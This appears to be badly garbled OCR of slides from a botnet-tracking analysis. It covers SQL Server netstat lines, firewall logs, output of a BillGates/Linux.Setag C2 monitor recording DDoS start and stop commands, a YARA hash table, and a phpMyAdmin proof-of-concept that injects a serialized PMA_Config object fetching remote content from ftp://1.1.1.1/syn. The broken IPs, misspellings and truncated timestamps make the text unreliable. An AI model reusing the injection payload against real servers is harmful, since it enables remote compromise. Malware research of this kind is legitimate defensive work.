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TCP  18.3.17.5:1433 10.177.185.150:1128  ESTABLISNED 1216
Laqlservr ox

TP 18.3.17.5:1433 18.177.443.15:1852  ESTABLISHED 1216
(sqlasrvr.exe ]
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760070 3208219969
778779 3208223718
780238 3208240140
780350 3208240252
793648 3208254719

800440 3208260345

823011 3208282637
830360 3208290473
843399 3208303939
846295 3208307376
856457 3208319551

event_name
traffic: deny
traffic: deny
traffic: deny
traffic: deny
traffic: deny

traffic: accept

traffic: deny
traffic: deny
traffic: deny
traffic: deny
traffic: deny

endTime
17 Mar 2016 10:35:16 CST
16 Mar 2016 19:12:16 CST
17 Mar 2016 10:35:24 CST
17 Mar 2016 10:35:25 CST
17 Mar 2016 10;
17 Mar 2016 10:
17 Mar 2016 10:35:40 CST
17 Mar 2016 10:35:44 CST
17 Mar 2016 10:35:10 CST
17 Mar 2016 10:3:
17 Mar 2016 10:

2016/4/11

transportProtocol startTime

TCP
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TCp
TCP
TCp
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17 Mar 2016 10:35:16 CST
16 Mar 2016 19:12:16 CST
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sourceAddress
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sourcePort
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1777
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57914
57957

targetAddress
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148.81.111.121
148.81.111.121
61.160.212.172
61.160.212.172
T4BBTIT.A2T
61.160.212.172
148.81.111.121
61.160.212.172
148.81.111.121
61.160.212.172
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D:\Linux.Setag.B.Gen>python gates.py
_ 2016-04-26 15:33:41, BOTNET MONITORING,23.234.50.12,25004
2016-04-26 15:34:15, STOP DDo$S
2°016-04-26 15:34:15, STOP DDoS
12016-04-26 15:34:16, START DDoS, 59.67.74.13 80
2016-04-26 15:35:16, STOP DDo$S
016-04-26 15:35:16, STOP DDoS
12016-04-26 15:35:17, START DDoS, 59.67.74.13 80
- 016-04-26 15:36:17, STOP DDoS
B 2016-04-26 15:36:17, STOP DDoS
Tj——t 02016—04—26 15:36:19, START DDoS, 59.67.74.13 80
2016-04-26 15:37:24, STOP DDoS
2016-04-26 15:37:24, STOP DDo$S
2016-04-26 15:37:24, START DDoS, 210.52.82.44 80
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P} ] B 4 BEARHME | X4 | MD5 | CNCIP
2016-05-19 Billgates 1 Gates_1.yara 123 MD5 1

2015-04-11 Billgates 1 Gates_1.yara 456 MD5 2
2014-05-01 Billgates 1 Gates_1.yara 789 MD5 3
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] MD5 | XK URL WEB SERVET | F#EIRE
2015-05-19 MD51  70kb  http://1.1.1.1:8080 HFS
I REAMDS5 K BEPOC
B [a] MD5 POC TYPE POC

2016-05- MD51 Phpmyadmine action=lay_navigation&eoltype=unix&token=1

19 Xp 111&configuration=a:1:{i:0;0:10:"PMA_Confi
g”:1:{s:6:"source”;s:32:ftp://1.1.1.1/syn;}}
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